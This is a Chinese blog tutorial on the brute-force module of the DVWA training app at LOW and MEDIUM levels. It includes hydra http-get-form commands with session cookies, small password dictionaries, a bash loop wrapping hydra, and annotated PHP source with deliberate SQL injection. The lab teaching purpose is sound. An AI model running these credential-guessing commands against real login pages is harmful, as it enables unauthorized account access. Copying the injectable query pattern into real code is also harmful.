DVWA详解:暴力破解篇(上)
前言:
其实早在几年前我就想写这个系列,但由于博主并不是安全领域的专职人员,研究这些东西也只是基于个人兴趣,再加上一些其它原因,于是,这个事也就被搁置下来了~~~最近闲得发慌,于是,写?不写?随缘吧~~~
说说"暴力破解"这个话题吧,也算是进行一次简单的科普,也让一些对这个话题没什么基础的读者能理解"暴力破解"是怎么的一回事;"暴力破解"基本是安全领域中最没技术含量的一种方式了,说白了,就是将"各种账号"与"各种密码"进行各种组合,然后将组合后的"账号"与"密码"一个一个填入目标进行尝试;而决定一次"暴力破解"结果的成功与否,其决定因素是由你所收集的"账号"与"密码"的完善程度有关;假如你所收集的"账号"与"密码"不完善,那么"暴力破解"将只有失败这一条路可走~
上面说了,"暴力破解"是需要收集"账号"与"密码"的,那么你应该如何去保存这些数据?方法很简单,直接将这些"账号"或"密码"写进文本文件就可以了,这种保存了"账号"或"密码"的文本文件,在安全领域中被称为"字典"(注:字典也有格式的,并不是只有本文所说格式写法);然而现实中并没有什么人会真正的去收集"账号"与"密码"去创建自己的"字典",因为当"密码"的复杂度达到一定程度,想使用"暴力破解"去猜测出一个可用的"账号/密码",基本是不太可能的,因此,大部分的"暴力破解"常被用于猜测"弱密码";大部分的暴力破解工具都提供自己的"字典",这些"字典"通常包含了"常用账号"与"常用弱密码";
当然,也有一些暴力破解工具可以在某些特定情况下不依赖于"字典",例如,某些暴力破解工具可以基于"规则(类似正则表达式)"去代替"密码字典"的作用(注:"账号类的字典"现实中无法代替);另外,还有一种东西叫彩虹表,专门用于处理经过哈希转换的密码,有兴趣的读者可以自行了解一下;
"暴力破解"有各种各样的工具,这些工具适用不同的暴力破解环境,很多时候,你需要按你"实际要破解的环境"去选择一个合适的工具,当然一种工具也可以适用于多种环境;本篇博文会使用某种破解工具,而你,在实验时完全可以使用另外的工具来得到相同的结果;例如,你完全可以使用"板手"作为你的暴力破解工具,找到当事人揍他一顿来问出账号与密码,实现最纯粹的"暴力破解";
以上那些科普有没有意义?说真的,博主觉得没什么意义,但不说又似乎不适合一些完全没基础的读者阅读,反正写了,也就那样吧~~~
特别提示:如果你在实验过程中,直接复制本博客任意博文中的配置/代码,"空格"字符的前面将可能产生不可见的字符"M-BM-",从而造成文件不可用,这是字符编码的问题~若必需使用复制粘贴方式,请务必手动替换掉配置项中的所有空格!!!或尝试使用以下命令过滤掉所有"M-BM-"字符~
1 2 3 4 |
sed -i 's/\xc2\xa0/ /g' [文件名称] # LINUX下可使用以下命令查看不可见字符的情况 cat -A [文件名称] |
快速跳转
实验环境:
要实验,当然得有实验环境,如何搭建相关的DVWA环境?你可以:
1、至GITHUB上下载最新的源码,使用你自己的方式搭建;
2、你会使用DOCKER/DOCKER-COMPOSE,并且你想使用DVWA的2.0.1版本,可以使用博主已经配置好的DVWA的2.0.1版本的DOCKER环境:百度网盘(提取码:7s4q)--> [ 文件名称:DVWA/DVWA-2.0.1.tar.gz ];这个版本有对应的使用教程:《DVWA耙机环境快速搭建》;
3、你会使用DOCKER/DOCKER-COMPOSE,并且你想使用DVWA的2.3版本,可以使用博主已经配置好的DVWA的2.3版本的DOCKER环境:百度网盘(提取码:7s4q)--> [ 文件名称:DVWA/DVWA-2.3.tar.gz ];但这个版本,博主并没有对应的博文说明其具体的使用方法,你需要自己看一下想关的SHELL代码去了解容器的启动与删除;
写本篇博文时,博主所使用的是"2.3"版本的DVWA环境进行解说的;
LOW - 暴力破解 [ hydra ]
关于"暴力破解"的工具有很多,对于"LOW"安全等级的暴力破解实验,本博文所使用的工具是"hydra",主要原因是这个工具知名度较高并且KALI自带此工具,而且你也可以很方便有网络上找到这个工具的相关教程;
在使用"hydra"之前,需要先收集一些前期信息,现在以一个未知"账号"与"密码"角度去进行这次实验[实际上我们知道一个可用账号,就是"admin"与"password"],现在以任意账号加任意密码去尝试进行登录操作,使用使用账号"root"及密码"12345678",见下图:
在上图中,我们以账号"root"及密码"12345678"进行登录尝试,很明显,登录失败了,但这不重要,我们需要关注的是"在这个失败的登录过程中,我们的浏览中产生了怎么样的变化,得到了什么有用的信息";在上图的操作中,得到以下信息:
1、从中得知,BruteForce这个模块,页面的URL为"http://192.168.100.42/vulnerabilities/brute/";
2、从中得知,在执行"Login"操作后,URL变化为"http://192.168.100.42/vulnerabilities/brute/?username=root&password=12345678&Login=Login#",从这个变化中,我们可以判断出"Login"操作使用的是"GET请求"的方式;同时,其提交的参数为"username=root&password=12345678&Login=Login";
3、从中得知,在执行"Login"操作后,登录失败了,并返回"Username and/or password incorrect."的错误信息;
在收集到上面的信息后,我们还收集另外一个信息,该信息是必需的,但同时与"暴力破解"没有必然的关系;这个信息就是我们登录DVWA时所产生的COOKIE,这是DVWA的一个安全机制,当我们登录DVWA后,DVWA会生成一个COOKIE,然后我们每一次对DVWA进行操作[任何模块],均会带上个COOKIE验证对DVWA操作的合法性;所以这个COOKIE影响的所有的模块;选中浏览器,按"F12"打浏览器的开发者工具,见下图:
从上图中,我们得知登录DVWA后,我们所获取到的"Cookie"为"PHPSESSID=10f13c4b615ef7a25a57a4987d3d0716; security=low"[注意:"Cookie"的值每次重新登录都会变化];其实从这个"Cookie"中我们也能看出一些东西,例如:"PHPSESSID"是服务器上生成的"SESSION ID",与"security"安全等级/难度为"LOW",当然,其实这没什么用,但缺失这个信息,我们又无法完成这个低安全等级的"暴力破解"实验;
在知道上面的这些信息后,我们就可以尝试使用"hydra"进行暴力破解了;首先,我们准备"hydra"所使用的"用户字典"与"密码字典"(使用自定义字典);注意,自定义的字典中,必需包含至少一条有效的信息;例如,我们已经知道可用于登录有效用户"admin",及其对应的密码"password"(登录DVWA所使用的账号与密码);创建自定义字典的操作见下图(注意,我们在一台IP为"192.168.100.50"的KALI主机上执行的操作):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
# 创建"用户字典",字典名称为"user.dict"; # 注意"admin"这个用户名,这个用户名是有效的用户; # 暴力破解能够成功的前提是,字典中必需存在"可用的'用户名/密码'" $ cat > user.dict << "EOF" root administrator Administrator admin adminroot EOF # 创建"用户字典",字典名称为"passwd.dict"; # 注意"password"这个密码,这个密码能配合"admin"用户实现成功登录; # 暴力破解能够成功的前提是,字典中必需存在"可用的'用户名/密码'" $ cat > passwd.dict << "EOF" 123456 12345678 abc123 qwerty password admin root adminroot EOF |
在创建完用户字典"user.dict"与密码字典"passwd.dict"后,在KALI上使用"hydra"工具进行暴力破解;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 |
hydra -f -L user.dict -P passwd.dict 192.168.100.42 http-get-form \ "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:S=Welcome:H=Cookie\:PHPSESSID=10f13c4b615ef7a25a57a4987d3d0716; security=low" # -V :输出正在测试的"爆破组合"; # -f :一但找到可用的"用户与密码"组合就停止执行; # -L :所使用的"用户字典"; # -P :所使用的"密码字典"; # # http-get-form :"hydra"的功能模块,"http-get-form"模块可用于处理"GET请求",其后接"'http-get-form'定义的表达式"; # 如:"/vulnerabilities/brute/:username=... security=low" # # "'http-get-form'表达式"解释: # "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:S=Welcome:H=Cookie\:PHPSESSID=10f13c4b615ef7a25a57a4987d3d0716; security=low" # - 注:规则中的每个部分均使用":"号分隔 # - '/vulnerabilities/brute/' # > URL的"不变部分" # - 'username=^USER^&password=^PASS^&Login=Login' # > GET请求的参数部分,其中"^USER^"与"^PASS^"表示变量[用"^"号包围表示],它们分别会被"-L"与"-P"所分别指定的"字典文件中的值"所代替; # - 'S=Welcome' # > 判断条件;根据"请求所响应的返回数据中的'字符串'"来判断是否暴力破解成功;分别有"F="与"S="; # F= -> 指定的条件属于破解失败的返回页面中的"独有字符串"(实际上应该用这个条件表达式,因为博主截的图是登录失败时的图) # S= -> 指定的条件属于破解成功的返回页面中的"独有字符串"(不小心用成功的表达式,重新戴图太麻烦了) # > 注意:程序实际上并不会对"Welcome"字符串进行大小写区分; # > 注意:"S=Welcome"实际应该写成"F=incorrect",见下面的特别说明部分; # - 'H=Cookie\:PHPSESSID=10f13c4b615ef7a25a57a4987d3d0716; security=low' # > 在发送请求时,发送额外的"请求头(Request Header)"; # H= -> 这里的"H"的意思是"Request Header" # Cookie\:PHPSESSID=10f13c4b615ef7a25a57a4987d3d0716; security=low -> 注意本处使用了"\"对":"进行了转义; # 特别说明: # 实际上在判断是否暴破成功时,应该用"F=incorrect"表达式,但博主已经截图了,重新截图的话,COOKIE又会变,这得重新做图,太花时间了, # 所以也就这样吧!"S=Welcome"之所以也能暴力破解成功,是因为成功登录后,返回的字符串信息中包含了"Welcome"字符串; # 你可以使用以下命令测试,效果是一样的; hydra -f -L user.dict -P passwd.dict 192.168.100.42 http-get-form \ "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=incorrect:H=Cookie\:PHPSESSID=10f13c4b615ef7a25a57a4987d3d0716; security=low" |
LOW - PHP源码解读
为什么要进行源码解读?给读者一条命令很简单,截个图给读者看也很简单,按着流程来,实现博文中的结果完全没有任何难度,但这完全没有意义;因为,破解过程所使用的工具或命令结构,是与破解的"目标环境"有关的;这里的"目标环境"是什么意思?本处的"目标环境"意思就是该功能的实现代码;
要阅读源码而不会PHP?实际上博主也不会PHP!!!那么在这个情况下博主是如何去解读DVWA的源码的?结合博主自己其它编程语言的基础,加上个人猜测,再加上对一些关键"函数"进行百度,博主就在这样的方式下进行源码的解读;这种解读方式并不能保证所有解释都是绝对正确,但用于了解整个流程基本没什么问题;所以,如果读者不懂PHP,但又想要读懂源码,那么在现实中,读者至少需要会某一门"编程语言",至少"if"这样的关键字是作用是什么?什么是"函数"?这类知识你至少要知道;
当然,还有更简单的方法,直接将源码复制到GHATGPT,让它帮你解释~~~但博主没这样做,因为不需要~~~
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 |
// 以上代码来源于DVWA 2.3版本"Brute Force Source"模块的"LOW"等级代码 // > "vulnerabilities/brute/source/low.php" // 其对应的完整GET请求样式如下: // http://192.168.100.42/vulnerabilities/brute/?username=admin&password=password&Login=Login# // // 这段代码中,首先需要理解的是"$_GET"这个东西,给合下文代码中的使用方式,基本可以确定其为"KEY:VALUE"这种方式的数据结构; // 于是博文大概可以猜测出,对于一个"GET请求",PHP会将"GET请求"中的参数存放于"$_GET"变量中; <?php // 使用"isset()"判断是否有"Login"这个键存在;这一句实际上存在问题; // 这使GET请求中的"&Login=Login"中的"值"完全没有意义,你完全可以将URL中这部分 // 改成"&Login=abc"等等,依然不会影响是否登录成功; if( isset( $_GET[ 'Login' ] ) ) { // 将"$_GET[ 'username' ]"的值保存至"$user"变量 $user = $_GET[ 'username' ]; // 将"$_GET[ 'password' ]"的值保存至"$pass"变量 // 将"$pass"中的值进行MD5运算,再重新赋值至"$pass"变量 $pass = $_GET[ 'password' ]; $pass = md5( $pass ); // 将"SQL查询"语句以字符串形式存入"$query"变量 // 将"SQL查询"结果存在入"$result"变量(BOOL) // 注:本处其实存在SQL注入漏洞,但这不在本篇的讨论范围之内 $query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // 判断"$result"是否为真,并且同时判断是否只有"1"条记录; // 同时满足条件执行相关登录成功的代码 // 任意条件不满足执行相关登录失败的代码 if( $result && mysqli_num_rows( $result ) == 1 ) { $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; echo "<p>Welcome to the password protected area {$user}</p>"; echo "<img src=\"{$avatar}\" />"; } else { echo "<pre><br />Username and/or password incorrect.</pre>"; } // 释放SQL连接 ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?> |
MEDIUM - 暴力破解 [ hydra ]
安全等级为"MUDIUM"的情况下,暴力破解的方法实际上和"LOW"安全等级没什么区别,均可以使用"hydra"命令进行暴力破解;但由于PHP源代码中在失败登录的代码中加入了"sleep(2)"代码,这引发了"hydra"命令的"-f"选项失效(无论判断条件使用"F=incorrect"还是"S=Welcome"),连锁的导致了"hydra"在暴力破解时,会测试完所有的"账号密码组合"后,再输出结果;在字典文件较小时可能影响不大,但假若你的字典文件很大,这花费的时间将非常可观(即使你将有效"账号"与"密码"写在字典的第一行,"hydra"依然会测试完所有组合再给你结果)!!!
为了解决"-f"失效的问题,博主尝试写了一个脚本去解决这个问题,但效果非常差,SHELL代码见下(BruteForceMedium.sh):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
#!/bin/bash # ./BruteForceMedium.sh UserDict="user.dict" PassDict="passwd.dict" Cur_Dir=$(cd "$(dirname "$0")";pwd) cd $(cd "$(dirname "$0")"; pwd) while IFS= read -r User do while IFS= read -r Passwd do Output=$(hydra -l "$User" -p "$Passwd" 192.168.100.42 http-get-form "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=incorrect:H=Cookie\:PHPSESSID=1ab225344575575ceadb2d678f66f359; security=medium" 2>&1) if echo "$Output" | grep -q "successfully"; then echo "$Output" break 2 fi done < "$PassDict" done < "$UserDict" |
上面的代码改用了"hydra"的"-l"与"-p"选项,每次测试一个组合,并在检测出"successfully"字符串后立即终止脚本,这样就可以"免于测试完所有组合后才得出结果";但实际测试的效果,在"有效的组合"靠后时,其花费的时间竟然比使用"-L"与"-P"花费了更多的时间("有效的组合"靠前时能更快);所以这个脚本仅用于参考,应该有优化空间;
下面是"MUDIEM"等级下,直接使用"hydra"的命令方法:
1 2 3 4 5 6 7 8 9 10 11 12 |
hydra -f -L user.dict -P passwd.dict 192.168.100.42 http-get-form \ "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=incorrect:H=Cookie\:PHPSESSID=1ab225344575575ceadb2d678f66f359; security=medium" hydra -f -L user.dict -P passwd.dict 192.168.100.42 http-get-form \ "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:S=Welcome:H=Cookie\:PHPSESSID=1ab225344575575ceadb2d678f66f359; security=medium" # 注1: # 即使用指定了"-f",但由PHP源代码中的"sleep(2)"这行代码, # 导致了"-f"选项失效了; # # 注2: # 从"LOW"切换为"MEDIUM"等级后,COOKIE也更新了,记得重新查COOKIE; |
最后,本处提供一张图片,说明一下本等级的测试结果,如下图:
MUDIEM - PHP源码解读
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
// 这里的源代码大部分可以参考LOW的说明,本处仅说明一些关键要点; <?php if( isset( $_GET[ 'Login' ] ) ) { // 额外做了一定程度的"防SQL注入"(依然有SQL注入漏洞) // 使用 mysqli_real_escape_string 对 $user 进行转义,以防止 SQL 注入 $user = $_GET[ 'username' ]; $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // 额外做了一定程度的"防SQL注入"(依然有SQL注入漏洞) // 使用 mysqli_real_escape_string 对 $pass 进行转义,以防止 SQL 注入 $pass = $_GET[ 'password' ]; $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass = md5( $pass ); $query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); if( $result && mysqli_num_rows( $result ) == 1 ) { $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; echo "<p>Welcome to the password protected area {$user}</p>"; echo "<img src=\"{$avatar}\" />"; } else { // 就是这里的"sleep(2)"导致了"hydra"的"-f"选项失效了; sleep( 2 ); echo "<pre><br />Username and/or password incorrect.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?> |
六、结
至此,"DVWA详解:暴力破解篇(上)"已经完结;是的,这篇博文写到这里,写作量超出博主计划,博主本想一篇博文就写完本篇内容,但没想到就"LOW"与"MEDIUM"两个安全等级就需要这么长的篇幅......,那写完DVWA的所有漏洞详解,那得写多少篇博文......,感觉博主又给自己挖了一个大坑!!!
下一篇:《DVWA详解:暴力破解篇(下)》
DVWA详解:暴力破解篇(上):等您坐沙发呢!